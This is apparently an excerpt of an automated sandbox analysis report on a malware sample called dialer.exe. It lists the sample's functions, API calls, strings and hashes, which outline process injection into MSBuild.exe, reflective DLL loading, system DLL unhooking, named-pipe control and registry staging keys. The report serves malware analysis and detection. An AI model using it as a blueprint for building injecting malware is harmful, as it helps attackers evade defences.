CloseHandle.KERNEL32 ref: 00000001400014B4

Strings

ReflectiveDllMain, xrefs: 000000014000139D
@, xrefs: 0000000140001401
dialer.exe, xrefs: 00000001400011CC
MSBuild.exe, xrefs: 00000001400011B8

Memory Dump Source

Source File: 00000019.00000002.2125416345.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000019.00000002.2125325177.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000019.00000002.2125474691.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000019.00000002.2125510606.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_140000000_dialer.jbxd

Similarity

API ID: Process$CloseHandle$Open$InformationToken$AllocAuthorityFileLocalName$CodeCountErrorExitFindFreeLastMemoryModuleObjectPathQuerySingleThreadVirtualWaitWow64Writelstrlen
String ID: @$MSBuild.exe$ReflectiveDllMain$dialer.exe
API String ID: 2561231171-3753927220
Opcode ID: 0577da8a6dab89cee6e9ad54b472e69925a8a9fa9a84297e512ce95199d2773e
Instruction ID: 2175fd9260984ecd3e092ef955109d5d50fbfcc0bf213717558b1eb8b1c9701c
Opcode Fuzzy Hash: 0577da8a6dab89cee6e9ad54b472e69925a8a9fa9a84297e512ce95199d2773e
Instruction Fuzzy Hash: 40B138B260468186EB26DF27F8947E927A9FB8CBC4F404125AF4A477B4EF38C645C740

Function 00000001400014D8 Relevance: 19.6, APIs: 13, Instructions: 130
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000000014000150B
HeapAlloc.KERNEL32 ref: 000000014000151E
GetProcessHeap.KERNEL32 ref: 000000014000152C
HeapAlloc.KERNEL32 ref: 000000014000153D
K32EnumProcesses.KERNEL32 ref: 0000000140001557
OpenProcess.KERNEL32 ref: 0000000140001585
K32EnumProcessModules.KERNEL32 ref: 00000001400015AA
ReadProcessMemory.KERNELBASE ref: 00000001400015E1
CloseHandle.KERNELBASE ref: 000000014000161D
GetProcessHeap.KERNEL32 ref: 000000014000162F
HeapFree.KERNEL32 ref: 000000014000163D
GetProcessHeap.KERNEL32 ref: 0000000140001643
HeapFree.KERNEL32 ref: 0000000140001651

Memory Dump Source

Source File: 00000019.00000002.2125416345.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000019.00000002.2125325177.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000019.00000002.2125474691.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000019.00000002.2125510606.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_140000000_dialer.jbxd

Similarity

API ID: Heap$Process$AllocEnumFree$CloseHandleMemoryModulesOpenProcessesRead
String ID:
API String ID: 4084875642-0
Opcode ID: 3ba232721d1513b5cedada72c6e24bd118260bd52d62463099d565cdd5ea385d
Instruction ID: 4858e5a3d965c592fcd1f5951e26bd94c88d4916acf90710a0b336d1aa1e032e
Opcode Fuzzy Hash: 3ba232721d1513b5cedada72c6e24bd118260bd52d62463099d565cdd5ea385d
Instruction Fuzzy Hash: E6519DB2711A819AEB66CF63E8587EA22A5F78DBC4F444025EF4947764DF38C545C700

Function 0000000140001B54 Relevance: 9.1, APIs: 6, Instructions: 82
memorypipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

AllocateAndInitializeSid.ADVAPI32 ref: 0000000140001BA3
SetEntriesInAclW.ADVAPI32 ref: 0000000140001BEB
LocalAlloc.KERNEL32 ref: 0000000140001BFB
InitializeSecurityDescriptor.ADVAPI32 ref: 0000000140001C0F
SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000140001C26
CreateNamedPipeW.KERNELBASE ref: 0000000140001C67

Memory Dump Source

Source File: 00000019.00000002.2125416345.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000019.00000002.2125325177.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000019.00000002.2125474691.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000019.00000002.2125510606.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_140000000_dialer.jbxd

Similarity

API ID: DescriptorInitializeSecurity$AllocAllocateCreateDaclEntriesLocalNamedPipe
String ID:
API String ID: 3197395349-0
Opcode ID: 488be1c38cf594ed0d3f6a94cbc7f0150440055c9cb1e58666deddfd8d25be8b
Instruction ID: 21eaad2a8fcaa81d39f01622d1c01d05a8059e075f91819b3ade9b41c51f013a
Opcode Fuzzy Hash: 488be1c38cf594ed0d3f6a94cbc7f0150440055c9cb1e58666deddfd8d25be8b
Instruction Fuzzy Hash: FA318D72215691CAE761CF25F490BDE77A5F748B98F40521AFB4947FA8EB78C208CB40

Function 00000001400017EC Relevance: 9.1, APIs: 6, Instructions: 55
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(?,00000000,?,000000014000238B,?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140001801
HeapAlloc.KERNEL32(?,00000000,?,000000014000238B,?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140001812

Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000150B
Part of subcall function 00000001400014D8: HeapAlloc.KERNEL32 ref: 000000014000151E
Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000152C
Part of subcall function 00000001400014D8: HeapAlloc.KERNEL32 ref: 000000014000153D
Part of subcall function 00000001400014D8: K32EnumProcesses.KERNEL32 ref: 0000000140001557
Part of subcall function 00000001400014D8: OpenProcess.KERNEL32 ref: 0000000140001585
Part of subcall function 00000001400014D8: K32EnumProcessModules.KERNEL32 ref: 00000001400015AA
Part of subcall function 00000001400014D8: ReadProcessMemory.KERNELBASE ref: 00000001400015E1
Part of subcall function 00000001400014D8: CloseHandle.KERNELBASE ref: 000000014000161D
Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 000000014000162F
Part of subcall function 00000001400014D8: HeapFree.KERNEL32 ref: 000000014000163D
Part of subcall function 00000001400014D8: GetProcessHeap.KERNEL32 ref: 0000000140001643
Part of subcall function 00000001400014D8: HeapFree.KERNEL32 ref: 0000000140001651

OpenProcess.KERNEL32 ref: 0000000140001859
TerminateProcess.KERNEL32 ref: 000000014000186C
CloseHandle.KERNEL32 ref: 0000000140001875
GetProcessHeap.KERNEL32 ref: 0000000140001885

Memory Dump Source

Source File: 00000019.00000002.2125416345.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000019.00000002.2125325177.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000019.00000002.2125474691.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000019.00000002.2125510606.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_140000000_dialer.jbxd

Similarity

API ID: HeapProcess$Alloc$CloseEnumFreeHandleOpen$MemoryModulesProcessesReadTerminate
String ID:
API String ID: 1323846700-0
Opcode ID: 292de27f87d02887c134cd68883e15ba7f6a186f84d3e8f804eb1f1d2b0452f5
Instruction ID: e8e8f15008253283e0d5a10c8ea57e573901c1344bffe788f1ea91b5e390c365
Opcode Fuzzy Hash: 292de27f87d02887c134cd68883e15ba7f6a186f84d3e8f804eb1f1d2b0452f5
Instruction Fuzzy Hash: C8115BB1B05A4186FB1ADF27F8443D966A6ABCDBC4F188038EF09037B5DE38C5868700

Function 0000000140001F2C Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 124
filememorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

StrCpyW.SHLWAPI ref: 0000000140001F5D
StrCatW.SHLWAPI ref: 0000000140001F6B
GetModuleHandleW.KERNEL32 ref: 0000000140001F74
GetCurrentProcess.KERNEL32 ref: 0000000140001F94
K32GetModuleInformation.KERNEL32 ref: 0000000140001FA8
CreateFileW.KERNELBASE ref: 0000000140001FD8
CreateFileMappingW.KERNELBASE ref: 0000000140002002
MapViewOfFile.KERNELBASE ref: 0000000140002025
lstrcmpiA.KERNEL32 ref: 000000014000207B
VirtualProtect.KERNELBASE ref: 00000001400020AE
VirtualProtect.KERNELBASE ref: 00000001400020DE
CloseHandle.KERNELBASE ref: 00000001400020E7
CloseHandle.KERNEL32 ref: 00000001400020F0
FreeLibrary.KERNEL32 ref: 00000001400020F9

Strings

C:\Windows\System32\, xrefs: 0000000140001F4F
.text, xrefs: 0000000140002074

Memory Dump Source

Source File: 00000019.00000002.2125416345.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000019.00000002.2125325177.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000019.00000002.2125474691.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000019.00000002.2125510606.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_140000000_dialer.jbxd

Similarity

API ID: FileHandle$CloseCreateModuleProtectVirtual$CurrentFreeInformationLibraryMappingProcessViewlstrcmpi
String ID: .text$C:\Windows\System32\
API String ID: 2721474350-832442975
Opcode ID: ea51ffa9aeaeb0e2cf226d8574d2fabd87300f6e212f2c78447215b36c46b769
Instruction ID: 0b364bd3c89a37fdd3fa7b369e4888cbeb1e5b170dc00cf86e963973e9165d3d
Opcode Fuzzy Hash: ea51ffa9aeaeb0e2cf226d8574d2fabd87300f6e212f2c78447215b36c46b769
Instruction Fuzzy Hash: CC518BB2204B8096EB62CF16F8587DAB3A5F78CBD4F444525AF4A03B68DF38C549C700

Function 0000000140002BF8 Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 40
sleepfilepipeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001B54: AllocateAndInitializeSid.ADVAPI32 ref: 0000000140001BA3
Part of subcall function 0000000140001B54: SetEntriesInAclW.ADVAPI32 ref: 0000000140001BEB
Part of subcall function 0000000140001B54: LocalAlloc.KERNEL32 ref: 0000000140001BFB
Part of subcall function 0000000140001B54: InitializeSecurityDescriptor.ADVAPI32 ref: 0000000140001C0F
Part of subcall function 0000000140001B54: SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000140001C26
Part of subcall function 0000000140001B54: CreateNamedPipeW.KERNELBASE ref: 0000000140001C67

Sleep.KERNEL32 ref: 0000000140002C1D
ConnectNamedPipe.KERNELBASE ref: 0000000140002C2A
ReadFile.KERNEL32 ref: 0000000140002C4D
WriteFile.KERNEL32 ref: 0000000140002C7B
Sleep.KERNEL32 ref: 0000000140002C88
DisconnectNamedPipe.KERNEL32 ref: 0000000140002C91

Strings

\\.\pipe\dialerchildproc64, xrefs: 0000000140002C05
M, xrefs: 0000000140002C6E

Memory Dump Source

Source File: 00000019.00000002.2125416345.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000019.00000002.2125325177.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000019.00000002.2125474691.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000019.00000002.2125510606.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_140000000_dialer.jbxd

Similarity

API ID: NamedPipe$DescriptorFileInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesLocalReadWrite
String ID: M$\\.\pipe\dialerchildproc64
API String ID: 2203880229-3489460547
Opcode ID: cb78decc689e444f168c8ecd1fa7ab696948f8a3ff5b9be1a13ae3c23ba91d6c
Instruction ID: 6dc3dc8c0bd617ca7cbe615ebfcb02ed857a87361961821bc60a1768ee808972
Opcode Fuzzy Hash: cb78decc689e444f168c8ecd1fa7ab696948f8a3ff5b9be1a13ae3c23ba91d6c
Instruction Fuzzy Hash: C01139B1218A8492F716DB22F8047EE6764A78DBE0F444225BB66036F4DF7CC548C700

Function 00000001400021D0 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36
sleeppipefileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0000000140001B54: AllocateAndInitializeSid.ADVAPI32 ref: 0000000140001BA3
Part of subcall function 0000000140001B54: SetEntriesInAclW.ADVAPI32 ref: 0000000140001BEB
Part of subcall function 0000000140001B54: LocalAlloc.KERNEL32 ref: 0000000140001BFB
Part of subcall function 0000000140001B54: InitializeSecurityDescriptor.ADVAPI32 ref: 0000000140001C0F
Part of subcall function 0000000140001B54: SetSecurityDescriptorDacl.ADVAPI32 ref: 0000000140001C26
Part of subcall function 0000000140001B54: CreateNamedPipeW.KERNELBASE ref: 0000000140001C67

Sleep.KERNEL32 ref: 00000001400021F5
ConnectNamedPipe.KERNELBASE ref: 0000000140002202
ReadFile.KERNEL32 ref: 0000000140002225
Sleep.KERNEL32 ref: 0000000140002246
DisconnectNamedPipe.KERNEL32 ref: 000000014000224F

Strings

\\.\pipe\dialercontrol_redirect64, xrefs: 00000001400021DD

Memory Dump Source

Source File: 00000019.00000002.2125416345.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000019.00000002.2125325177.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000019.00000002.2125474691.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000019.00000002.2125510606.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_140000000_dialer.jbxd

Similarity

API ID: NamedPipe$DescriptorInitializeSecuritySleep$AllocAllocateConnectCreateDaclDisconnectEntriesFileLocalRead
String ID: \\.\pipe\dialercontrol_redirect64
API String ID: 2071455217-3440882674
Opcode ID: 0eadeefac485689016ee7cb8901f6413b977b23d4cbf2cacf1e5db6f82192be8
Instruction ID: d66e41e89491d3fe39127ed5f8ff24c46c9ecc4af95d447005e5476a51c55f6d
Opcode Fuzzy Hash: 0eadeefac485689016ee7cb8901f6413b977b23d4cbf2cacf1e5db6f82192be8
Instruction Fuzzy Hash: 42014BB1204A40A2EA17EB63F8443E9B365A79DBE0F144235FB66476F4DF78C488C700

Function 0000000140002B38 Relevance: 9.1, APIs: 6, Instructions: 58
memorysleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 0000000140002B53
HeapAlloc.KERNEL32 ref: 0000000140002B67
GetProcessHeap.KERNEL32 ref: 0000000140002B70
HeapAlloc.KERNEL32 ref: 0000000140002B7E
K32EnumProcesses.KERNEL32 ref: 0000000140002B99
Sleep.KERNEL32 ref: 0000000140002BEE

Memory Dump Source

Source File: 00000019.00000002.2125416345.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000019.00000002.2125325177.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000019.00000002.2125474691.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000019.00000002.2125510606.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_140000000_dialer.jbxd

Similarity

API ID: Heap$AllocProcess$EnumProcessesSleep
String ID:
API String ID: 3676546796-0
Opcode ID: 8f13c2487408d17cabd0d6010e800d760c40d8336c2ba260ca50616313c4bb70
Instruction ID: 9c67988e037e7d22bad9650836966df18df348572cafe7f0e6f30b42da554bff
Opcode Fuzzy Hash: 8f13c2487408d17cabd0d6010e800d760c40d8336c2ba260ca50616313c4bb70
Instruction Fuzzy Hash: 3A115CB26006518AE72ACF17F85579A77A6F78DBC1F154028EB4607B68CF39D881CB40

Function 00000001400018AC Relevance: 4.5, APIs: 3, Instructions: 30
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018CA
IsWow64Process.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018E0
CloseHandle.KERNELBASE(?,?,?,000000014000110E), ref: 00000001400018FB

Memory Dump Source

Source File: 00000019.00000002.2125416345.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000019.00000002.2125325177.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000019.00000002.2125474691.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000019.00000002.2125510606.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_140000000_dialer.jbxd

Similarity

API ID: Process$CloseHandleOpenWow64
String ID:
API String ID: 10462204-0
Opcode ID: 6d646fbe37808f9b584e9cbd293ea6613d1d1a58a609fbda32c726050c0f507a
Instruction ID: a864651f2e5c17a125c4a55b2f5ca9b47fcd1256b8d640ad9fe9232b2a40a049
Opcode Fuzzy Hash: 6d646fbe37808f9b584e9cbd293ea6613d1d1a58a609fbda32c726050c0f507a
Instruction Fuzzy Hash: 77F01D7170578192EB56CF17B584399A665E78CBC0F449039EB8943768DF39C4858700

Function 0000000140002258 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 000000014000226C: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000228F
Part of subcall function 000000014000226C: OpenProcess.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000229F
Part of subcall function 000000014000226C: OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 00000001400022B9
Part of subcall function 000000014000226C: LookupPrivilegeValueW.ADVAPI32 ref: 00000001400022D0
Part of subcall function 000000014000226C: AdjustTokenPrivileges.KERNELBASE ref: 0000000140002308
Part of subcall function 000000014000226C: GetLastError.KERNEL32 ref: 0000000140002312
Part of subcall function 000000014000226C: CloseHandle.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000231B
Part of subcall function 000000014000226C: FindResourceExA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000232F
Part of subcall function 000000014000226C: SizeofResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002346
Part of subcall function 000000014000226C: LoadResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000235F
Part of subcall function 000000014000226C: LockResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 0000000140002371
Part of subcall function 000000014000226C: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,0000000140002261), ref: 000000014000237E
Part of subcall function 000000014000226C: RegCreateKeyExW.KERNELBASE ref: 00000001400023BE
Part of subcall function 000000014000226C: ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00000001400023E5
Part of subcall function 000000014000226C: RegSetKeySecurity.KERNELBASE ref: 00000001400023FE
Part of subcall function 000000014000226C: LocalFree.KERNEL32 ref: 0000000140002408

ExitProcess.KERNEL32 ref: 0000000140002263

Memory Dump Source

Source File: 00000019.00000002.2125416345.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000019.00000002.2125325177.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000019.00000002.2125474691.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000019.00000002.2125510606.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_140000000_dialer.jbxd

Similarity

API ID: Process$Resource$Security$CurrentDescriptorOpenToken$AdjustCloseConvertCreateErrorExitFindFreeHandleLastLoadLocalLockLookupPrivilegePrivilegesSizeofStringValue
String ID:
API String ID: 3836936051-0
Opcode ID: c7c2c95b7158c919dbdf86fa47620a0d13b0befc2d5611a3b20bc48f104c5c5f
Instruction ID: 542f07df19912b07f19d0c3647b83d0aa38d4f887fbb8c9b09a79fc57a6ac5cd
Opcode Fuzzy Hash: c7c2c95b7158c919dbdf86fa47620a0d13b0befc2d5611a3b20bc48f104c5c5f
Instruction Fuzzy Hash: 84A002B1F1794096FA0BB7F7785E3DC21656B9CB82F500415B242472B2DD3C44558716

Non-executed Functions

Function 0000000140002560 Relevance: 47.5, APIs: 24, Strings: 3, Instructions: 296
memoryregistryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNEL32 ref: 00000001400025E7

Part of subcall function 00000001400018AC: OpenProcess.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018CA
Part of subcall function 00000001400018AC: IsWow64Process.KERNEL32(?,?,?,000000014000110E), ref: 00000001400018E0
Part of subcall function 00000001400018AC: CloseHandle.KERNELBASE(?,?,?,000000014000110E), ref: 00000001400018FB

Part of subcall function 00000001400010C0: OpenProcess.KERNEL32 ref: 000000014000112C
Part of subcall function 00000001400010C0: OpenProcess.KERNEL32 ref: 000000014000114B
Part of subcall function 00000001400010C0: K32GetModuleFileNameExW.KERNEL32 ref: 0000000140001170
Part of subcall function 00000001400010C0: PathFindFileNameW.SHLWAPI ref: 000000014000117E
Part of subcall function 00000001400010C0: lstrlenW.KERNEL32 ref: 000000014000118A
Part of subcall function 00000001400010C0: StrCpyW.SHLWAPI ref: 00000001400011A1
Part of subcall function 00000001400010C0: CloseHandle.KERNEL32 ref: 00000001400011AD
Part of subcall function 00000001400010C0: StrCmpIW.SHLWAPI ref: 00000001400011E2
Part of subcall function 00000001400010C0: NtQueryInformationProcess.NTDLL ref: 0000000140001216
Part of subcall function 00000001400010C0: OpenProcessToken.ADVAPI32 ref: 0000000140001240

RegOpenKeyExW.ADVAPI32 ref: 0000000140002683
RegDeleteValueW.ADVAPI32 ref: 000000014000269B
ExitProcess.KERNEL32 ref: 00000001400026BF
GetProcessHeap.KERNEL32 ref: 00000001400026C6
HeapAlloc.KERNEL32 ref: 00000001400026D9
K32EnumProcesses.KERNEL32 ref: 00000001400026F6
ExitProcess.KERNEL32 ref: 0000000140002796

Strings

dialerstager, xrefs: 0000000140002694
SOFTWARE, xrefs: 0000000140002675
open, xrefs: 0000000140002960

Memory Dump Source

Source File: 00000019.00000002.2125416345.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000019.00000002.2125325177.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000019.00000002.2125474691.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000019.00000002.2125510606.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_140000000_dialer.jbxd

Similarity

API ID: Process$Open$File$CloseExitHandleHeapName$AllocDeleteEnumFindInformationModulePathProcessesQueryReadTokenValueWow64lstrlen
String ID: SOFTWARE$dialerstager$open
API String ID: 3276259517-3931493855
Opcode ID: 3c799c4d4b717077f969037001029e391788172767dfb7e3a3364a0c1608c947
Instruction ID: ae65b9042581f7dc9e2ee581e3d1b52dcddb088aa692a5b8ad70e1a65f9de3a1
Opcode Fuzzy Hash: 3c799c4d4b717077f969037001029e391788172767dfb7e3a3364a0c1608c947
Instruction Fuzzy Hash: 91D14DB13046818BEB7BDF26B8143E92269F74DBC8F404125BB4A47AB9DE78C605C741

Function 0000000140001C88 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 154
injectionthreadmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNEL32 ref: 0000000140001D1D
VirtualAllocEx.KERNEL32 ref: 0000000140001D4C
WriteProcessMemory.KERNEL32 ref: 0000000140001D73
WriteProcessMemory.KERNEL32 ref: 0000000140001DB2
VirtualAlloc.KERNEL32 ref: 0000000140001DE3
GetThreadContext.KERNEL32 ref: 0000000140001DFF
WriteProcessMemory.KERNEL32 ref: 0000000140001E26
SetThreadContext.KERNEL32 ref: 0000000140001E44
ResumeThread.KERNEL32 ref: 0000000140001E52
OpenProcess.KERNEL32 ref: 0000000140001E6A
TerminateProcess.KERNEL32 ref: 0000000140001E7D

Strings

@, xrefs: 0000000140001D44

Memory Dump Source

Source File: 00000019.00000002.2125416345.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000019.00000002.2125325177.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000019.00000002.2125474691.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000019.00000002.2125510606.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_140000000_dialer.jbxd

Similarity

API ID: Process$MemoryThreadWrite$AllocContextVirtual$CreateOpenResumeTerminate
String ID: @
API String ID: 3462610200-2766056989
Opcode ID: 9e87a73b0eb69cfa39acb8f7a19e25e40ab225c9e7017233cfa86b54780bd9da
Instruction ID: 5c16bc39e07cf5e776479c29415d8ab36f8b64b080a4e80c067f24e51f003d21
Opcode Fuzzy Hash: 9e87a73b0eb69cfa39acb8f7a19e25e40ab225c9e7017233cfa86b54780bd9da
Instruction Fuzzy Hash: B55122B2700A808AEB52CF66E8447DE77A5FB88BD8F054125EF4997B68DF38C855C700

Function 00000001400019C4 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 102
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysAllocString.OLEAUT32 ref: 00000001400019E6
SysAllocString.OLEAUT32 ref: 00000001400019F6
CoInitializeEx.OLE32 ref: 0000000140001A03
CoInitializeSecurity.OLE32 ref: 0000000140001A3A
CoCreateInstance.OLE32 ref: 0000000140001A7A
VariantInit.OLEAUT32 ref: 0000000140001A8C
CoUninitialize.OLE32 ref: 0000000140001B26
SysFreeString.OLEAUT32 ref: 0000000140001B2F
SysFreeString.OLEAUT32 ref: 0000000140001B38

Strings

dialersvc64, xrefs: 00000001400019DD

Memory Dump Source

Source File: 00000019.00000002.2125416345.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000019.00000002.2125325177.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000019.00000002.2125474691.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000019.00000002.2125510606.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_140000000_dialer.jbxd

Similarity

API ID: String$AllocFreeInitialize$CreateInitInstanceSecurityUninitializeVariant
String ID: dialersvc64
API String ID: 4184240511-3881820561
Opcode ID: c5773a1fcac1982b1b845e0e6ec66c21fb3e8571a559d525fc626bf24240b323
Instruction ID: f04b9e4fe08d72b668f3c34f73b3c63bb96ebc933f76805d9c48aa5d26f439e8
Opcode Fuzzy Hash: c5773a1fcac1982b1b845e0e6ec66c21fb3e8571a559d525fc626bf24240b323
Instruction Fuzzy Hash: 69415A72704A819AE712CF6AE8543DD73B5FB89B89F044125EF4E47A64DF38D149C300

Function 0000000140001000 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 37registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32 ref: 0000000140001034
RegDeleteKeyW.ADVAPI32 ref: 0000000140001045
RegEnumKeyExW.ADVAPI32 ref: 0000000140001082
RegCloseKey.ADVAPI32 ref: 0000000140001093
RegDeleteKeyExW.ADVAPI32 ref: 00000001400010B0

Strings

SOFTWARE\dialerconfig, xrefs: 0000000140001026, 000000014000109C

Memory Dump Source

Source File: 00000019.00000002.2125416345.0000000140001000.00000020.00000001.00020000.00000000.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000019.00000002.2125325177.0000000140000000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000019.00000002.2125474691.0000000140003000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000019.00000002.2125510606.0000000140006000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_25_2_140000000_dialer.jbxd

Similarity

API ID: Delete$CloseEnumOpen
String ID: SOFTWARE\dialerconfig
API String ID: 3013565938-461861421
Opcode ID: 771b17fd0f1a16041f26a54d46b0ec7916154baef178d5f18a2b3dcc43556395
Instruction ID: 8f4ace04a6ff3505bb025a84b088d585f414f6eddbaae7ea6d4a7c6b6057ac94
Opcode Fuzzy Hash: 771b17fd0f1a16041f26a54d46b0ec7916154baef178d5f18a2b3dcc43556395
Instruction Fuzzy Hash: 2F1186B2714A8486E762CF26F8557E92378F78C7D8F404215A74D0BAA8DF7CC248CB54

Function 0000000140002A90 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 42fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 0000000140002ACB
